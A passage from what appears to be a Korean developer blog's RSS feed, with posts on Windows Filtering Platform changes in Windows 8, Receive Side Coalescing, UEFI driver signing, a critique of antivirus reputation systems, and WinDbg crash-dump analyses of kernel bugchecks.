제가 개발하고 있는 네트워크 필터의 경우 IM+WFP 의 구조를 갖는데... IM 이 들어가게 된 이유가 바로 이 Layer2를 필터링하지 못했기 때문입니다. 그런데 이제와서 8부터 지원한다고 하니 기분이 않좋아지네요...ㅎㅎ&lt;br /&gt;
기본적인 MAC Frame 필터링에 Inject 기능 까지 되는 것 같습니다.&lt;br /&gt;
&lt;br /&gt;
그리고 Proxied Connection Tracking 이라든지... Virtual Switch Filtering 은 최근 나오고 있는 SSL 프록시라든지, VM 서버류의 제품군에 대한 필터링을 지원하기 위한 용도로 포함된 것으로 보입니다.&lt;br /&gt;
&lt;br /&gt;
자세한 내용은 하기 링크를 참고하시기 바랍니다.&lt;br /&gt;
&lt;a href="http://msdn.microsoft.com/en-us/library/windows/hardware/hh440262(v=VS.85).aspx"&gt;http://msdn.microsoft.com/en-us/library/windows/hardware/hh440262(v=VS.85).aspx&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-6135831191418004597?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YlLysTYhvpYtdu5u9M_VIu4VpS8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YlLysTYhvpYtdu5u9M_VIu4VpS8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/YlLysTYhvpYtdu5u9M_VIu4VpS8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YlLysTYhvpYtdu5u9M_VIu4VpS8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/rFl0_GI9Ya8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/rFl0_GI9Ya8/wfp-win8.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>2</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/12/wfp-win8.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-8378413125504986254</guid><pubDate>Tue, 06 Dec 2011 14:48:00 +0000</pubDate><atom:updated>2011-12-06T06:49:56.751-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">AV</category><category domain="http://www.blogger.com/atom/ns#">평판시스템</category><title>시만텍의 Anti-Virus 평판 시스템에 관하여</title><description>&lt;div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 16px; text-align: left;"&gt;아무리 생각해봐도 평판 시스템은 아닌것 같다.&lt;/div&gt;&lt;div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 16px; text-align: left;"&gt;여러 자동화 이슈라든지, 빠른 사후대응 관점에서 클라우드 기반의 안티바이러스 네트웍은 하나의 대안으로써 그나마 이해 할 수 있겠으나,&amp;nbsp;평판(reputation)은 갈때까지 갔다는 느낌이다.&amp;nbsp;기술적 진전이 아닌 포장일 뿐이라는 ...&lt;/div&gt;&lt;div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 16px; text-align: left;"&gt;기본은 화이트리스트 AV에서 출발했다고 볼 수 있으나 행위기반(Behavioural) Analysis 관점에서 하나의 접근방식, 즉 일개 기능으로 볼 수 있는 부분인 듯 하다. 그러나 시만텍은 마치 이것이 새로운 혁명인듯 과대광고를 해댔다.&amp;nbsp;&lt;/div&gt;&lt;div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 16px; text-align: left;"&gt;실제 시만텍의 엔드포인트 프로텍션 제품이 좋은 성능을 가지고 있는 것은 사실인듯 하나 이 성능은 평판시스템의 성능이라고 할 수 없다.&lt;/div&gt;&lt;div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 16px; text-align: left;"&gt;평판시스템의 가장 큰 문제는 Suspicious진단의 오진이다. 그러나 평판시스템의 본질적인 문제는 AV 가 수행해야 할 바이러스 진단의 영역을 사용자들에게 넘겨 버렸다는 점 일 것이다.&lt;/div&gt;&lt;div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 16px; text-align: left;"&gt;기억하는가? 윈도 비스타에서 채용했던 UAC 경고창 문제를... MS 가 Windows의 보안을 해결하기 위해 선택한 방법은 무책임하게도&amp;nbsp;그 해결책을 사용자들에게 전가시켜 버렸다는 점이다. 만약에 경고창에 대해 사용자가 OK 했고 그 이후 문제가 발생되어도 사용자가 OK 한것 이기 &amp;nbsp;때문에 MS 잘못이 아니라는 식이다.&amp;nbsp;&lt;/div&gt;&lt;div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 16px; text-align: left;"&gt;평판시스템도 이러한 방식으로 교묘하게&amp;nbsp;AV 진단의 영역에서 오진의 문제를 사용자 평판의 문제로 넘겨버렸다.&amp;nbsp;&lt;/div&gt;&lt;div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; line-height: 16px; text-align: left;"&gt;정말 AV 진단을 평판으로 넘겨버려도 되는 일인가? 엔지니어로서의 자존심에 금이 가는 문제는 아닌가?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-8378413125504986254?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7ZQtzj3YdEnPn-xV6ruxfexmc74/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7ZQtzj3YdEnPn-xV6ruxfexmc74/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7ZQtzj3YdEnPn-xV6ruxfexmc74/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7ZQtzj3YdEnPn-xV6ruxfexmc74/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/tXIyinYAZog" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/tXIyinYAZog/anti-virus.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/12/anti-virus.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-6698185891266511499</guid><pubDate>Wed, 30 Nov 2011 08:36:00 +0000</pubDate><atom:updated>2011-11-30T23:27:29.369-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">TCPIP</category><category domain="http://www.blogger.com/atom/ns#">WFP</category><title>WFP TCP 연결 Lifetime Management</title><description>TCP 의 연결관리는 Tcp Control Block (TCB) 을 통해 관리 됩니다. Windows 커널단에선 TCP 연결이 TDI 계층에서 파일객체 형태로 표현되며, 따라서 TCP 연결 종료는 파일객체가 Close되는 시점에서(CleanUp) 통지될 수 있습니다.&lt;br /&gt;
WFP 에선 Win7 부터 지원되는&amp;nbsp;FWPS_LAYER_ALE_ENDPOINT_CLOSURE_VX,&amp;nbsp;FWPS_LAYER_ALE_RESOURCE_RELEASE_VX 콜아웃을 통해 TCP 연결관리를 구현 할 수 있는데, 콜아웃으로 들어오는 inMetaValues-&amp;gt;transportEndpointHandle 의 핸들이 구 TDI에서 파일객체로 표현되던 TCP 연결에 대한 핸들을 의미 합니다. 요 녀셕을 잘 관리해 주어야 하죠.&lt;br /&gt;
&lt;br /&gt;
7 이전의 Vista에선 Stream Layer의 FlowDelete 를 연관시키는 구현을 통해 이를 확인할 수 있다고 이전에 포스팅한 바 있습니다.&lt;br /&gt;
&lt;br /&gt;
그리고 다시 한번 얘기하자면, 연결이 유실된다든지 하는 TCP연결 타임아웃에 대해선 통보를 받을 수 없습니다. TCP/IP 는 연결 유실을 통보하지 않도록 설계되어 있기 때문으로 이에 유의해야 합니다.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-6698185891266511499?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gIRLwVVZ36M_tu6BChxQbSLKPWQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gIRLwVVZ36M_tu6BChxQbSLKPWQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gIRLwVVZ36M_tu6BChxQbSLKPWQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gIRLwVVZ36M_tu6BChxQbSLKPWQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/2AIZPMML5T4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/2AIZPMML5T4/wfp-tcp-lifetime-management.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/11/wfp-tcp-lifetime-management.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-3347477940015843118</guid><pubDate>Tue, 22 Nov 2011 04:33:00 +0000</pubDate><atom:updated>2011-11-21T22:03:00.418-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">RSC</category><category domain="http://www.blogger.com/atom/ns#">NDIS6.0</category><category domain="http://www.blogger.com/atom/ns#">WFP</category><title>Receive Side Coalescing in WFP</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-I1hGCqucLLs/Tssm_icaTRI/AAAAAAAABD0/y2KY_6xpnnw/s1600/rsc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="182" src="http://2.bp.blogspot.com/-I1hGCqucLLs/Tssm_icaTRI/AAAAAAAABD0/y2KY_6xpnnw/s320/rsc.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;pre&gt;Receive Side Coalescing(RSC) 기술은 최근 NIC에 적용되기 시작하고 있는 RX 단 퍼포먼스 최적화 기술로 TCP/IP의 I/O Accelerating 에 관련된 최신 스펙입니다.
그림에서 볼 수 있듯이 RSC 를 적용한 이후에는 미니포트단에서 연관된 패킷을 인접지역 메모리 영역으로 배치하여 프로토콜 스택으로 올려줌으로 인해 프로토콜스택에서의 메모리접근 오버헤드를 경감시킬 수 있게 됩니다.

최근 10G (10기가비트) 가 적용되는 상황에서 최대 64K 크기의 대용량 패킷이 1518 Maximum의 이더넷 패킷으로 쪼개져서 들어오고 패킷을 읽어들일 메모리의 영역에 대한 접근 오버헤드가 
RSC 와 같은 형태로 고려되지 않는다면 TCP/IP 프로토콜 스택의 성능이 떨어질 수 밖에 없게 되겠죠. 

예전 블로깅에서도 잠시 소개했었던 Receive Side Scaling 이라든지, TOE(Task Offload Engine ) 등의 기술은 MP(Multi-processor) 환경이 되어야만 한다든지, 혹은 프로토콜 스택에 변형을 주어야만 하는것에 반해,
RSC 는 프로토콜 스택에는 무관하게 , 또는 투명하게(Transparent) 제공될 수 있는 기술이라는 점에서 의미가 있습니다. 
그러므로 이 기술은 NIC 과 운영체제를 통해 제공될 수 있으며, Windows 에선 하이퍼V 가 제공되는 Windows 8 Server 를 통해 제공될 것으로 알려졌습니다.

최근 5년여 사이에 서버단의 I/O 처리 병목현상에 대한 연구가 활발히 진행되고 있는데, 이에 대한 가시적인 결과로 나타나고 있는 것이 이와 같은 RSS,RSC 기술들과 RDMA(Remote Direct Memory Access), Direct Cache Access (DCA) 등
의 기술들을 가져오고 있고, 최신 가상화 트랜드와 맞물리면서 가상화서버의 I/O 처리 병목현상에 대한 solution들이 계속적으로 나오고 있는 것으로 보입니다.

사실 현재까지 소개되고 있는 기술들은 I/O 병목처리의 기술적 진전을 이루었다기 보다는 일종의 꼼수를 써서 성능을 쥐어짜내고 있다고 보는 것이 맞을 것입니다.(호환성 때문이랄지...)

I/O 병목현상에 대한 근본적인 해결점을 제시하는 결과는 II/OAT(Intel I/O Acceleration Technologies) 와 같은 접근이 개인적으로 적합하다고 보고, MS는 Chimney 구조를 NDIS 6.2를 통해 발표하였습니다.

얼마전 만해도 랜카드는 아무거나 사다끼면 됬다 싶었는데... 관리자들이 머리가 아파지기 시작할 겁니다. 

WFP 에선 RSC 가 적용된 Win8 환경에서 10G 패킷에 대해 어떻게 처리할 지에 대한 코멘트가 있어서 소개합니다.

Receive Side Coalescing (RSC) as described in the attached paper is a technology for sending large packets up the stack by combing them at the NIC.  In order to not send an unexpected size for a NBL/NB to your WFP callout, we have a new flag for when you register your WFP callout.  &lt;b&gt;If the flag is not set, and you register a WFP callout, it will prevent RSC from working (similar to offload technologies).&lt;/b&gt;
The following flag is in Windows8:
&lt;b&gt;FWP_CALLOUT_FLAG_RSC&lt;/b&gt;
A callout driver specifies this flag to indicate that the callout supports RSC with large packets of up to 64K. If this flag is not specified, and a callout is registered, then RSC is disabled for all traffic that is processed by any filters that specify the callout for the filter's action.

요약하자면, RSC 를 맞보고 싶다면 콜아웃 등록할 때 플래그를 추가하면 되고, 플래그가 없이 등록되면 RSC 가 Disable 된다는 뜻 입니다.

RSC 를 인에이블해서 64K 패킷을 보고 싶으신가요? 아니면 예전방식대로 필터링하고 싶으신가요?...
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-3347477940015843118?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Gz3XzFe4Sfz0f2WVMUG3gvNXNVs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Gz3XzFe4Sfz0f2WVMUG3gvNXNVs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Gz3XzFe4Sfz0f2WVMUG3gvNXNVs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Gz3XzFe4Sfz0f2WVMUG3gvNXNVs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/3yrS5ew7NNA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/3yrS5ew7NNA/receive-side-coalescing-in-wfp.html</link><author>noreply@blogger.com (reinhard v.z.)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-I1hGCqucLLs/Tssm_icaTRI/AAAAAAAABD0/y2KY_6xpnnw/s72-c/rsc.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/11/receive-side-coalescing-in-wfp.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-5638281696443652581</guid><pubDate>Thu, 17 Nov 2011 08:58:00 +0000</pubDate><atom:updated>2011-11-17T00:58:21.889-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">WFP</category><title>WFP Transport 계층의 FwpsInjectTransportReceiveAsync0 관련 버그</title><description>fffff880`01fc47c8 fffff800`0168e1e9 : 00000000`0000000a 00000000`00000004 00000000`00000002 00000000`00000001 : nt!KeBugCheckEx&lt;br /&gt;
fffff880`01fc47d0 fffff800`0168ce60 : 00000000`00000000 fffff880`01e68180 fffffa80`034bd0e0 fffffa80`0228fc30 : nt!KiBugCheckDispatch+0x69&lt;br /&gt;
fffff880`01fc4910 fffff880`01732fc9 : 00000000`00000000 fffffa80`0228fd38 00000000`00000002 00000000`00000000 : nt!KiPageFault+0x260&lt;br /&gt;
fffff880`01fc4aa0 fffff880`0177a02e : fffff880`017b19a0 fffffa80`01c00b40 fffffa80`03e86b40 fffff880`0126532e : tcpip!IppFindAnySubInterfaceOnInterfaceUnderLock+0x9&lt;br /&gt;
fffff880`01fc4ad0 fffff880`0184daf6 : fffffa80`03fc3902 fffffa80`03fc39e0 00000000`00000002 00000000`00000000 : tcpip!IppInspectInjectReceive+0xae&lt;br /&gt;
fffff880`01fc4b10 fffff880`053ce851 : fffffa80`02e09a30 fffffa80`03e86b40 00000000`00000000 00000000`0ad6ffff : fwpkclnt!FwpsInjectTransportReceiveAsync0+0x256&lt;br /&gt;
fffff880`01fc4bc0 fffff880`053ce91d : fffffa80`03e86b40 00000000`00000001 00000000`00000000 00000002`00000005 : PktIcpt!PktIcptCloneReinjectInbound+0x171 [d:\security\branches\r_2012_pipe\common\avkfirewall\vistapkt2\sys\pktinterceptor.cpp @ 1459]&lt;br /&gt;
fffff880`01fc4c40 fffff880`01287ef3 : 00000000`00000000 fffffa80`03713840 fffffa80`03713840 00000000`00000001 : PktIcpt!PktIcptQueueItemWorkerRoutine+0xa9 [d:\security\branches\r_2012_pipe\common\avkfirewall\vistapkt2\sys\pktinterceptor.cpp @ 1541]&lt;br /&gt;
fffff880`01fc4c70 fffff800`01699001 : fffff880`01287eb0 fffff800`0182f2b8 fffffa80`01899680 00000000`00000000 : fltmgr!FltpProcessGenericWorkItem+0x43&lt;br /&gt;
fffff880`01fc4cb0 fffff800`01929fee : 058d4c18`498b4818 fffffa80`01899680 00000000`00000080 fffffa80`0188f040 : nt!ExpWorkerThread+0x111&lt;br /&gt;
fffff880`01fc4d40 fffff800`016805e6 : fffff880`01e68180 fffffa80`01899680 fffff880`01e72fc0 4c538b54`74c43b49 : nt!PspSystemThreadStartup+0x5a&lt;br /&gt;
fffff880`01fc4d80 00000000`00000000 : fffff880`01fc5000 fffff880`01fbf000 fffff880`01fc45c0 00000000`00000000 : nt!KxStartSystemThread+0x16&lt;br /&gt;
&lt;br /&gt;
위와 같은 스택이 형성된 덤프는 win7 의 버그라고 합니다.&lt;br /&gt;
&lt;br /&gt;
인바운드의 Transport 계층은 사용을 하지 말라는 얘기네요...&lt;br /&gt;
&lt;br /&gt;
http://social.msdn.microsoft.com/Forums/en/wfp/thread/7a820b8a-b7d5-418b-922e-22117d49fd6c&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-5638281696443652581?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/V_CM3mPEEZrFrZNkNHCGDgCi9Xs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/V_CM3mPEEZrFrZNkNHCGDgCi9Xs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/V_CM3mPEEZrFrZNkNHCGDgCi9Xs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/V_CM3mPEEZrFrZNkNHCGDgCi9Xs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/DhKAvI-hO9k" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/DhKAvI-hO9k/wfp-transport-fwpsinjecttransportreceiv.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/11/wfp-transport-fwpsinjecttransportreceiv.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-2687961101934905541</guid><pubDate>Fri, 11 Nov 2011 02:37:00 +0000</pubDate><atom:updated>2011-11-10T18:37:08.052-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">UEFI</category><title>Driver Signing will be required by DEFAULT for 32-bit Windows 8 UEFI Secure Boot-enabled Platforms</title><description>Win8에서 적용될 UEFI Secure-Boot 옵션의 경우 , 해당 옵션이 Enable 되었을 경우 드라이버는 코드사인이 반드시 되어야 한다고 합니다.&lt;br /&gt;
&lt;br /&gt;
기존에는 64비트 Windows 에서만 코드사인에 대한 의무가 있었으나, 시큐어-부트 32비트 OS에서도 코드사인이 반드시 필요하게 되어 관련 담당자들이 미리 대비하여야 할 것 같습니다.&lt;br /&gt;
&lt;br /&gt;
결론적으로, Win8 부터는 32비트 드라이버에 대해서도 코드사인을 의무적으로 하게 만드는 유도효과가 있을 것으로 생각됩니다. 왜냐하면, 시큐어부트 옵션에따라 사인되고/되지 않고의 모듈을 별도로 배포하는 업체는 거의 없을 거라는거죠. 왠만하면 32비트 드라이버도 그냥 코드사인하는 쪽으로 정책을 바꿀것입니다. &lt;br /&gt;
&lt;br /&gt;
UEFI 에 대한 설명은 다음 링크를 참고하세요&lt;br /&gt;
&lt;br /&gt;
http://blogs.msdn.com/b/b8_ko/archive/2011/09/28/uefi-os.aspx&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-2687961101934905541?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/E-lqP2GR0Haaz7eWpVHJOptz5mU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/E-lqP2GR0Haaz7eWpVHJOptz5mU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/E-lqP2GR0Haaz7eWpVHJOptz5mU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/E-lqP2GR0Haaz7eWpVHJOptz5mU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/CYH7Nhm1BZ4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/CYH7Nhm1BZ4/driver-signing-will-be-required-by.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/11/driver-signing-will-be-required-by.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-1472679325179239386</guid><pubDate>Mon, 07 Nov 2011 06:12:00 +0000</pubDate><atom:updated>2011-11-06T22:48:25.942-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">DPC</category><title>INVALID_PROCESS_ATTACH_ATTEMPT BugCheck</title><description>&lt;b&gt;일전에 올렸던 덤프의 분석이 잘못되어 수정하여 다시 올립니다.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
0: kd&gt; !analyze -v&lt;br /&gt;
*******************************************************************************&lt;br /&gt;
*                                                                             *&lt;br /&gt;
*                        Bugcheck Analysis                                    *&lt;br /&gt;
*                                                                             *&lt;br /&gt;
*******************************************************************************&lt;br /&gt;
&lt;br /&gt;
INVALID_PROCESS_ATTACH_ATTEMPT (5)&lt;br /&gt;
Arguments:&lt;br /&gt;
Arg1: 8473da20&lt;br /&gt;
Arg2: 8671e508&lt;br /&gt;
Arg3: 00000000&lt;br /&gt;
Arg4: 00010000&lt;br /&gt;
&lt;br /&gt;
Debugging Details:&lt;br /&gt;
------------------&lt;br /&gt;
&lt;br /&gt;
Page ae251 not present in the dump file. Type ".hh dbgerr004" for details&lt;br /&gt;
&lt;br /&gt;
DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT&lt;br /&gt;
&lt;br /&gt;
BUGCHECK_STR:  0x5&lt;br /&gt;
&lt;br /&gt;
PROCESS_NAME:  lsass.exe&lt;br /&gt;
&lt;br /&gt;
CURRENT_IRQL:  0&lt;br /&gt;
&lt;br /&gt;
LAST_CONTROL_TRANSFER:  from 82297796 to 822dfe34&lt;br /&gt;
&lt;br /&gt;
STACK_TEXT:  &lt;br /&gt;
8e782b7c 82297796 00000005 8473da20 8671e508 nt!KeBugCheckEx+0x1e&lt;br /&gt;
8e782ba8 82425fec 8473da20 8e782bd0 8677d030 nt!KeStackAttachProcess+0x3f&lt;br /&gt;
8e782bec 82448cd2 8473da20 8b801d10 8677d030 nt!ObpDecrementHandleCount+0x125&lt;br /&gt;
8e782c30 8244a4d2 8b801d10 972dbc98 8473da20 nt!ObpCloseHandleTableEntry+0x203&lt;br /&gt;
8e782c60 8244a64a 8473da20 00000000 8e782d04 nt!ObpCloseHandle+0x7f&lt;br /&gt;
8e782c7c 822463ea 80000e4c 8e782d0c 82243d4d nt!NtClose+0x4e&lt;br /&gt;
8e782c7c 82243d4d 80000e4c 8e782d0c 82243d4d nt!KiFastCallEntry+0x12a&lt;br /&gt;
8e782cf8 823f5fc2 80000e4c 007ef254 80000e4c nt!ZwClose+0x11&lt;br /&gt;
8e782d0c 823f6011 fffffffe 007ef254 00000000 nt!SepRegQueryDwordValue+0x3f&lt;br /&gt;
8e782d28 822463ea fffffffe 007ef28c 770c6344 nt!NtImpersonateAnonymousToken+0x45&lt;br /&gt;
8e782d28 770c6344 fffffffe 007ef28c 770c6344 nt!KiFastCallEntry+0x12a&lt;br /&gt;
WARNING: Frame IP not in any known module. Following frames may be wrong.&lt;br /&gt;
007ef28c 00000000 00000000 00000000 00000000 0x770c6344&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OS 내부에서 파일 Close를 하다가 KeStackAttachProcess 과정 중에 &lt;br /&gt;
&lt;br /&gt;
0: kd&gt; uf nt!KeStackAttachProcess&lt;br /&gt;
nt!KeStackAttachProcess:&lt;br /&gt;
82297757 8bff            mov     edi,edi&lt;br /&gt;
82297759 55              push    ebp&lt;br /&gt;
8229775a 8bec            mov     ebp,esp&lt;br /&gt;
8229775c 51              push    ecx&lt;br /&gt;
8229775d 53              push    ebx&lt;br /&gt;
8229775e 56              push    esi&lt;br /&gt;
&lt;b&gt;8229775f 648b3524010000  mov     esi,dword ptr fs:[124h]&lt;br /&gt;
82297766 648b0d541a0000  mov     ecx,dword ptr fs:[1A54h]&lt;br /&gt;
8229776d b801000100      mov     eax,10001h&lt;/b&gt;&lt;br /&gt;
82297772 57              push    edi&lt;br /&gt;
82297773 85c8            test    eax,ecx&lt;br /&gt;
82297775 7420            je      nt!KeStackAttachProcess+0x3f (82297797)&lt;br /&gt;
&lt;br /&gt;
nt!KeStackAttachProcess+0x20:&lt;br /&gt;
82297777 648b0d541a0000  mov     ecx,dword ptr fs:[1A54h]&lt;br /&gt;
8229777e 23c8            and     ecx,eax&lt;br /&gt;
82297780 0fb68634010000  movzx   eax,byte ptr [esi+134h]&lt;br /&gt;
82297787 51              push    ecx&lt;br /&gt;
82297788 50              push    eax&lt;br /&gt;
&lt;b&gt;82297789 ff7650          push    dword ptr [esi+50h]&lt;br /&gt;
8229778c ff7508          push    dword ptr [ebp+8]&lt;br /&gt;
8229778f 6a05            push    5&lt;br /&gt;
82297791 e880860400      call    nt!KeBugCheckEx (822dfe16)&lt;/b&gt;&lt;br /&gt;
82297796 cc              int     3&lt;br /&gt;
&lt;br /&gt;
fs:[1A54h] 의 값 즉, DPC가 Active 되어 있을 때 Setting 되는 값(_KPRCB 의 0x120(PrcbData) + 0x1932(DpcRoutineActive) = 1A54h ) 으로, &lt;br /&gt;
결국 DPC 가 Active 되어 있는 상태에서 KeStackAttachProcess 가 실행됨을 OS가 버그체크로 막고 있는 상황이라고 볼 수 있습니다.&lt;br /&gt;
&lt;br /&gt;
따라서 DPC가 실제 활성화 되어 있는 지 확인해 볼 필요가 있고, 시스템의 다른 커널 스택들을 찾아본 결과&lt;br /&gt;
&lt;br /&gt;
0: kd&gt;!stacks 2 MyDrv&lt;br /&gt;
&lt;br /&gt;
[8473da20 System]&lt;br /&gt;
4.000050 847f7020 0000000 Blocked nt!KiSwapContext+0x26&lt;br /&gt;
nt!KiSwapThread+0x266&lt;br /&gt;
nt!KiCommitThreadWait+0x1df&lt;br /&gt;
nt!KeWaitForSingleObject+0x393&lt;br /&gt;
MyDrv+0xa1e0&lt;br /&gt;
MyDrv+0xa523&lt;br /&gt;
MyDrv+0xb0c7&lt;br /&gt;
MyDrv+0xc47f&lt;br /&gt;
MyDrv+0xc837&lt;br /&gt;
MyDrv+0x28bd&lt;br /&gt;
MyDrv+0x8982&lt;br /&gt;
MyDrv+0x7926&lt;br /&gt;
ACPI!ACPIDispatchForwardIrp+0x2a&lt;br /&gt;
ACPI!ACPIIrpDispatchDeviceControl+0xa4&lt;br /&gt;
ACPI!ACPIDispatchIrp+0x198&lt;br /&gt;
nt!IofCallDriver+0x63&lt;br /&gt;
MyDrv+0x797a&lt;br /&gt;
Wdf01000!imp_WdfRequestSend+0x2de&lt;br /&gt;
MOSUMAC+0x71b9&lt;br /&gt;
MOSUMAC+0x733b&lt;br /&gt;
MOSUMAC+0x73c3&lt;br /&gt;
nt!KiExecuteAllDpcs+0xf9&lt;br /&gt;
nt!KiExecuteDpc+0xb0&lt;br /&gt;
nt!PspSystemThreadStartup+0x9e&lt;br /&gt;
nt!KiThreadStartup+0x19&lt;br /&gt;
&lt;br /&gt;
이와 같은 스택을 찾을 수 있었습니다. &lt;br /&gt;
